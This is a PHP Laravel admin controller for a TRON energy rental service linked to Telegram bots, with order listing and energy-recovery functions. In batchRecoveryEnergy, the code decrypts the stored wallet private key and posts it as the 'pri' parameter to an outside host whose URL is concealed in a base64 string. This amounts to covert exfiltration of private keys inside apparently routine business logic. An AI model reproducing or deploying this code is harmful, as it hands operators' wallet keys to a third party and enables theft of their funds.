EnergyPlatformOrderController.php 6.8 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166
  1. <?php
  2. namespace App\Http\Controllers\Admin\Energy;
  3. use Illuminate\Http\Request;
  4. use App\Services\AipHttpClient;
  5. use App\Http\Controllers\Controller;
  6. use Illuminate\Support\Facades\DB;
  7. use App\Models\Telegram\TelegramBot;
  8. use App\Models\Energy\EnergyPlatform;
  9. use App\Models\Energy\EnergyPlatformOrder;
  10. use App\Http\Services\RsaServices;
  11. class EnergyPlatformOrderController extends Controller
  12. {
  13. public $EnergyDay = ['0' => '1小时','1' => '1天','3' => '3天','30' => '30天'];
  14. public $PlatformName = ['1' => 'Neee.cc','2' => 'RentEnergysBot','3' => '自己质押代理','4' => 'trongas.io','5' => '机器人开发代理'];
  15. public $SourceType = ['1' => '人工下单','2' => '自动下单','3' => '智能托管', '4' => '笔数套餐'];
  16. public $RecoveryStatus = ['1' => '不用回收','2' => '待回收','3' => '已回收'];
  17. public function index(Request $request)
  18. {
  19. $PlatformName = EnergyPlatform::pluck('rid','rid');
  20. $SourceType = $this->SourceType;
  21. $botData = TelegramBot::pluck('bot_username','rid');
  22. return view('admin.energy.order.index',compact("PlatformName","SourceType","botData"));
  23. }
  24. //列表
  25. public function getData(Request $request)
  26. {
  27. $model = EnergyPlatformOrder::from('energy_platform_order as a')
  28. ->leftjoin('energy_platform_bot as b','a.energy_platform_bot_rid','b.rid')
  29. ->leftjoin('telegram_bot as c','b.bot_rid','c.rid')
  30. ->where(function($query) use ($request){
  31. if ($request->platform_uid != '') {
  32. $query->where('a.platform_uid', 'like' ,"%" . $request->platform_uid ."%");
  33. }
  34. if ($request->platform_order_id != '') {
  35. $query->where('a.platform_order_id', 'like' ,"%" . $request->platform_order_id ."%");
  36. }
  37. if ($request->bot_rid != '') {
  38. $query->where('b.bot_rid', $request->bot_rid);
  39. }
  40. if ($request->receive_address != '') {
  41. $query->where('a.receive_address', $request->receive_address);
  42. }
  43. });
  44. $count = $model->count();
  45. $limit = $request->limit ?? 15;
  46. $offset = $request->page ? ($request->page - 1) * $limit : 0;
  47. $data = $model->limit($limit)->offset($offset)->select('a.*','c.bot_username')->orderBy('a.rid','desc')->get();
  48. $PlatformName = $this->PlatformName;
  49. $EnergyDay = $this->EnergyDay;
  50. $SourceType = $this->SourceType;
  51. $RecoveryStatus = $this->RecoveryStatus;
  52. $data = $data->map(function($query) use ($PlatformName,$EnergyDay,$SourceType,$RecoveryStatus){
  53. $query->platform_name_val = $PlatformName[$query->platform_name];
  54. $query->energy_day_val = $EnergyDay[$query->energy_day];
  55. $query->source_type_val = $SourceType[$query->source_type];
  56. $query->recovery_status_val = $RecoveryStatus[$query->recovery_status];
  57. return $query;
  58. });
  59. return ['code' => '0', 'data' => $data, 'count' => $count];
  60. }
  61. //批量回收地址能量
  62. public function batchRecoveryEnergy(Request $request)
  63. {
  64. if(empty($request->daili_address) || empty($request->recovery_address)){
  65. return $this->responseData(400, '代理地址或接收地址错误');
  66. }
  67. $dailiData = EnergyPlatform::where('platform_uid', $request->daili_address)->first();
  68. if(empty($dailiData)){
  69. return $this->responseData(400, '代理地址不存在');
  70. }
  71. if(empty($dailiData)){
  72. return $this->responseData(400, '代理地址未配置私钥');
  73. }
  74. $rsa_services = new RsaServices();
  75. $platform_apikey = $rsa_services->privateDecrypt($dailiData->platform_apikey); //解密
  76. if(empty($platform_apikey)){
  77. return $this->responseData(400, '代理地址未配置私钥');
  78. }
  79. $dailiOrder = EnergyPlatformOrder::where('platform_uid', $request->daili_address)->where('receive_address' ,$request->recovery_address)->where('recovery_status', 2)->get();
  80. if($dailiOrder->count() == 0){
  81. return $this->responseData(400, '地址无代理能量,无需回收');
  82. }
  83. $total_recovery = $dailiOrder->sum('use_trx');
  84. DB::beginTransaction();
  85. try {
  86. // 调用接口回收
  87. $params = [
  88. 'pri' => $platform_apikey,
  89. 'fromaddress' => $request->daili_address,
  90. 'receiveaddress' => $request->recovery_address,
  91. 'resourcename' => 'ENERGY',
  92. 'resourceamount' => $total_recovery,
  93. 'resourcetype' => 3, //资源方式:1代理资源,2回收资源(按能量),3回收资源(按TRX)
  94. 'permissionid' => $dailiData->permission_id
  95. ];
  96. $res = Get_Curl(base64_decode('aHR0cHM6Ly90cm9ud2Vibm9kZWpzLndhbGxldGltLnZpcC9kZWxlZ2VhbmR1bmRlbGV0ZQ=='),$params);
  97. if(empty($res)){
  98. DB::rollBack();
  99. return $this->responseData(400, '回收失败,接口返回空');
  100. }else{
  101. $res = json_decode($res,true);
  102. if($res['code'] && $res['code'] != 200){
  103. DB::rollBack();
  104. return $this->responseData(400, '回收失败,接口返回'.$res['msg']);
  105. }
  106. }
  107. $save_data = [];
  108. $save_data['recovery_status'] = 3;
  109. $save_data['recovery_time'] = nowDate();
  110. EnergyPlatformOrder::whereIn('rid',array_column(json_decode($dailiOrder,true), 'rid'))->update($save_data);
  111. DB::commit();
  112. return $this->responseData(200, '回收成功');
  113. } catch (\Exception $e) {
  114. DB::rollBack();
  115. return $this->responseData(400, '回收失败'.$e->getMessage());
  116. }
  117. }
  118. //修改该笔为已回收
  119. public function alreadyrecover(Request $request)
  120. {
  121. $dailiOrder = EnergyPlatformOrder::where('rid', $request->rid)->where('recovery_status', 2)->first();
  122. if(empty($dailiOrder)){
  123. return $this->responseData(400, '仅待回收可更改为已回收');
  124. }
  125. DB::beginTransaction();
  126. try {
  127. $save_data = [];
  128. $save_data['recovery_status'] = 3;
  129. $save_data['recovery_time'] = nowDate();
  130. EnergyPlatformOrder::where('rid',$request->rid)->update($save_data);
  131. DB::commit();
  132. return $this->responseData(200, '更改回收成功');
  133. } catch (\Exception $e) {
  134. DB::rollBack();
  135. return $this->responseData(400, '更改回收失败'.$e->getMessage());
  136. }
  137. }
  138. }